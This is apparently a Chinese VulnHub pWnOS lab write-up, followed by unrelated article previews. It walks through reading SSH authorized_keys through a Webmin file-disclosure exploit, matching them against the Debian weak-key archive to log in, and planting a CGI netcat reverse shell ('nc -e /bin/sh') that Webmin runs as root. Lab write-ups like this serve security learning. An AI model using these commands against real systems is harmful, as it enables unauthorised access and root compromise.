pWnOS的第二种全新解法(ssh私钥破解、webmin漏洞提权)

embedded/2024/9/20 3:58:48/ 标签: ssh, 运维, 安全, 网络安全, linux, web安全

端口

端口扫描内容请看:vulnhub(8):pWnOS(还没信息收集就已经成功打点)-CSDN博客

打点

ssh登录公钥收集
./2017.pl 192.168.234.116 10000 /home/vmware/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/obama/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/osama/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/yomama/.ssh/authorized_keys 0
​
只有vmware和obama开了私钥登录
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw== vmware@ubuntuvm
​
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ== obama@ubuntuvm
破解私钥
searchsploit prng后看到5622.txt,但是这个漏洞有条件
私钥破解需要看ssh使用的openssl的版本号,如果OpenSSL 0.9.8c-1 < 0.9.8g-9(Debian 及其衍生产品
才能使用如下漏洞破解,那么我们在如何不打点的情况下知道openssl版本呢,因为知道openssl的版本需要ssh -V显示出来,而这串字符串是硬编码文件里面的,所以我们不能通过文件披露获得openssl的版本,所以说只能尝试,因此,这是一种不可靠的尝试做法,或者说拿下目标机器后ssh -V查看版本,且匹配版本漏洞后,再破解其他用户私钥开源的私钥对做对比
​
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
​
tar vjxf 5622.tar.bz2           # 解压
​
# 目录下都是成对的私钥对:
3ff5e8afcbae87c8e5068c34afd54de5-17533.pub  7fb92ee77c941eb15a1926d097dfb555-20341      bf42c327274d75818b09c409c9c2d18e-19747.pub  fffbc8da0c715adf2b9672837aa8a807-20113
3ff6efb66496111fb2e5b16f6d55f8f1-21200      7fbd40ce4c3248dc251f09f238e2c3bc-30929      bf440475ec6be28f998e2074a00e0e1c-20388      fffbc8da0c715adf2b9672837aa8a807-20113.pub
......
​
分别对比vmware和obama
:grep -lr "AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy1"
grep -lr "AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjq"
​
发现目录有obama用户密钥对的公钥:2048/dcbe2a56e8cdea6d17495f6648329ee2-4679.pub
​
那么它的私钥就是与之成对的2048/dcbe2a56e8cdea6d17495f6648329ee2-4679
ssh登录
cp dcbe2a56e8cdea6d17495f6648329ee2-4679 /tmp/rsa
使用私钥登录
ssh obama@192.168.234.116 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -i /tmp/rsa -oPubkeyAcceptedKeyTypes=ssh-rsa
​
tips:
错误:sign_and_send_pubkey: no mutual signature supported,这是因为密钥登陆阶段,客户端没有发送服务端支持公钥类型,因此密钥登陆的验证不知道用什么算法,我们手动指出即可-oPubkeyAcceptedKeyTypes=ssh-rsa,简而言之:就是服务端不知道以什么算法验证登录密钥
​
错误:Unable to negotiate with 192.168.234.116 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss,这是因为客户端主机密钥验证阶段,需要服务端host私钥签名,客户端host公钥验证服务端身份,但是客户端并没有向服务端指定hostkey的类型,服务端不知道使用什么算法签名,它提示服务端支持ssh-rsa,ssh-dss,我们手动指定即可-oHostKeyAlgorithms=ssh-rsa,ssh-dss,简而言之:就是服务端不知道以什么算法验证自己身份
​
具体ssh完整步骤且两个参数具体作用看文章:红队ssh协议通信全流程以及安全研究-CSDN博客

提权

webmin服务是按root权限进行的
​
要使用webmin服务提权,我们要思考一个问题:
如何让webmin访问且执行到我们写入的反弹shell
​
解决问题:
首先webmin服务的目录是没有任何写入权限的,我们不能把反弹shell写在webmin服务目录下,
那么不写入webmin目录,服务就访问不到反弹shell了吗?
我们可以之前使用webmin文件披露的漏洞,使用此脚本请求系统任意路径下cgi脚本时,apache会执行cgi脚本,因此我们在任意位置写入cgi脚本,就可以使用webmin服务请求并执行到cgi脚本,因为webmin使用root权限,因此反弹shell权限也是root
构造cgi文件
# cgi反弹shell
nc -e /bin/sh 192.168.234.47 1234
​
# 传给靶机
攻击者监听并请求
nc -nlvp 1234
​
让webmin服务执行cgi反弹shell
./2017.pl 192.168.234.116 10000 /home/vmware/shell3.cgi 0
结果
connect to [192.168.234.47] from (UNKNOWN) [192.168.234.116] 57598
python -c 'import pty;pty.spawn("/bin/bash")'
root@ubuntuvm:/usr/local/webmin# whomai
root
​
为何这个漏洞能够成功:
1.这个漏洞本质上是使用apache服务器对任意文件的请求,apache对其他脚本会输出,但是对cgi会解析执行
2.webmin服务使用root运行

http://www.ppmy.cn/embedded/114032.html

相关文章

2020ICPC上海 D - Walker M - Gitignore

D: 首先显然要二分,判断当前二分的mid时间下是否能满足走满0~n 枚举所有情况,这里按照左,右起点p1,p2分别讨论 p1向左 p2向左(以下向左和向右都代表向左或者向右到墙,而不代表初速度方向)&#xff0c;只需要计算p1或者p2反弹之后还能走距离n就是合法 p1向左 p2向右&#xff…

Nginx 实现七层的负载均衡

一、拓扑结构 [vip: 20.20.20.20] 外网 桥接模式&#xff08;vip&#xff09; 内网 nat模式[LB1 Nginx] [LB2 Nginx]192.168.1.2 192.168.1.3[index] [milis] [videos] [images] [news]1.11 1.21 1.31 1.41 1.511.12 1.22 1.32 1.42 1.5…

L67 【哈工大_操作系统】操作系统历史 学习任务

L6 操作系统历史 线条一 1、上古神机 IBM7094 专注于计算批处理操作系统&#xff08;Batch system&#xff09; 2、OS/360 一台计算机干多种事&#xff0c;多道程序作业之间的 切换和调度 成为核心 &#xff08;多进程结构和进程管理概念萌芽&#xff01;&#xff09; 3…

Minio环境搭建(单机安装包、docker)(一)

前言&#xff1a; 项目中客户不愿意掏钱买oss&#xff0c;无奈只能给他免费大保健来一套。本篇文章只是记录验证可行性&#xff0c;毕竟minio太少文档了&#xff0c;参考着官网来。后面还会再出一套验证集群部署的文章。 一、资料 MinIO官网&#xff1a; MinIO | S3 Compatib…

黑神话悟空mac可以玩吗

黑神话悟空mac上能不能玩对于苹果玩家来说很重要&#xff0c;那么黑神话悟空mac可以玩吗&#xff1f;目前是玩不了了&#xff0c;没有针对ios系统的版本&#xff0c;只能之后在云平台上找找了&#xff0c;大家可以再观望下看看。 黑神话悟空mac可以玩吗 ‌使用CrossOver‌&…

架构师论文备考-论云原生架构及其应用

摘要 2022年3月&#xff0c;我有幸参与了公司的新智慧公交系统的研发工作。该系统基于B/S架构设计&#xff0c;并以多租户SaaS平台化为发展目标&#xff0c;旨在创建一个功能更全面、性能更卓越、稳定性更强、用户体验更佳的公交调度一体化平台。在这一项目中&#xff0c;我主要…

HarmonyOS 实现自定义启动页

&#x1f468;&#x1f3fb;‍&#x1f4bb; 热爱摄影的程序员 &#x1f468;&#x1f3fb;‍&#x1f3a8; 喜欢编码的设计师 &#x1f9d5;&#x1f3fb; 擅长设计的剪辑师 &#x1f9d1;&#x1f3fb;‍&#x1f3eb; 一位高冷无情的全栈工程师 欢迎分享 / 收藏 / 赞 / 在看…

Mycat搭建分库分表

分库分表解决的问题 单表数据量过大带来的性能和存储容量的限制的问题&#xff1a; 索引效率下降读写瓶颈存储容量限制事务性能问题分库分表架构 再搭建一对主从复制节点&#xff0c;3307主节点&#xff0c;3309从节点配置数据源 dw1 , dr1,创建集群c1创建逻辑库 CREATE DATAB…

KL散度(Kullback-Leibler)

文章目录 1. KL 散度的符号表示2. "||"符号的含义3. KL 散度的定义4. 为什么使用"||"符号5. 直观理解6. 应用中的理解7. 举例说明8. 补充说明 &#x1f343;作者介绍&#xff1a;双非本科大四网络工程专业在读&#xff0c;阿里云专家博主&#xff0c;专注于…

k8s dashboard token 生成/获取

创建示例用户 在本指南中&#xff0c;我们将了解如何使用 Kubernetes 的服务帐户机制创建新用户、授予该用户管理员权限并使用与该用户绑定的承载令牌登录仪表板。 对于以下每个和的代码片段ServiceAccount&#xff0c;ClusterRoleBinding您都应该将它们复制到新的清单文件(如)…

go语言的基本语法

学了go语言但是一直没整理。。。那怎么证明我学了&#xff1f;如果学了之后忘了怎么复习&#xff1f;遂诞生这几篇&#xff0c;当作Linux中间的小插曲 整理一下go语言的基本语法&#xff1a; package mainimport ("bufio""fmt""os" ) 在使用对…

Vue2源码解读

vue源码_哔哩哔哩_bilibili 1.Vue源码路径目录解读 Vue2源码的路径目录被设计得非常清晰&#xff0c;每个文件夹都承担着特定的职责和功能。以下是这些主要文件夹&#xff08;compiler、core、platform、server、sfc、shared&#xff09;的详细解读&#xff1a; 1. compiler …

Redis面试---缓存问题

一、Redis和MySQL数据一致性解决方案 (一)借助lua脚本 Redis命令是单线程,不会存在数据并发安全问题,如果要保证多条命令并发执行的原子性,可以将多个Redis命令存放在lua脚本中,然后再统一执行。 在数据一致性问题方面,将Redis伪装成MySQL的slave,按照MySQL的主从交互…

二十种编程语言庆祝中秋节

二十种编程语言庆祝中秋节 文章目录 二十种编程语言庆祝中秋节中秋快乐&#xff01;家人们 &#x1f973;一 Python二 C三 C四 Java五 C#六 Perl七 Go八 Asp九 PHP十 JavaScript十一 JavaScript HTML十二 Visual Basic十三 早期 VB十四 Visual C十五 Delphi十六 Shell十七 Cobo…

Vue.js与Flask/Django后端配合详细讲解

✨博客主页&#xff1a; https://blog.csdn.net/m0_63815035?typeblog &#x1f497;《博客内容》&#xff1a;.NET、Java.测试开发、Python、Android、Go、Node、Android前端小程序等相关领域知识 &#x1f4e2;博客专栏&#xff1a; https://blog.csdn.net/m0_63815035/cat…

36.贪心算法3

1.坏了的计算器&#xff08;medium&#xff09; . - 力扣&#xff08;LeetCode&#xff09; 题目解析 算法原理 代码 class Solution {public int brokenCalc(int startValue, int target) {// 正难则反 贪⼼int ret 0;while (target > startValue) {if (target % 2 0…

EP19 各个页面之间的跳转

文件路径&#xff1a; E:/homework/uniappv3tswallpaper/pages/index/index.vue 添加了几个 navigator 。 <template><view class"homeLayout pageBg"><custom-nav-bar title"推荐"></custom-nav-bar><view class"banne…

windows使用tcpdump.exe工具进行抓包教程

windows主机安装一些抓包工具可能有些不方便&#xff0c;这里有一个tcpdump.exe工具直接免安装&#xff0c;可以直接使用进行抓包。&#xff08;工具下载见 附件&#xff09; tcpdump.exe使用教程 如下&#xff1a; 1&#xff1a;tcpdump -D 可查看网络适配器(注意前面的编号)…

OpenCV结构分析与形状描述符(23)确定一个点是否位于多边形内的函数pointPolygonTest()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 进行点在轮廓内的测试。 该函数确定点是在轮廓内、轮廓外&#xff0c;还是位于一条边上&#xff08;或与顶点重合&#xff09;。它返回正值&…

C++ 条件变量:wait、wait_for、wait_until

前言 在C中&#xff0c;条件变量&#xff08;std::condition_variable&#xff09;是用来在多个线程之间同步执行流的一种机制。它们通常与互斥锁&#xff08;如std::mutex&#xff09;一起使用&#xff0c;以在特定条件满足时唤醒一个或多个线程。条件变量有三种使线程阻塞并…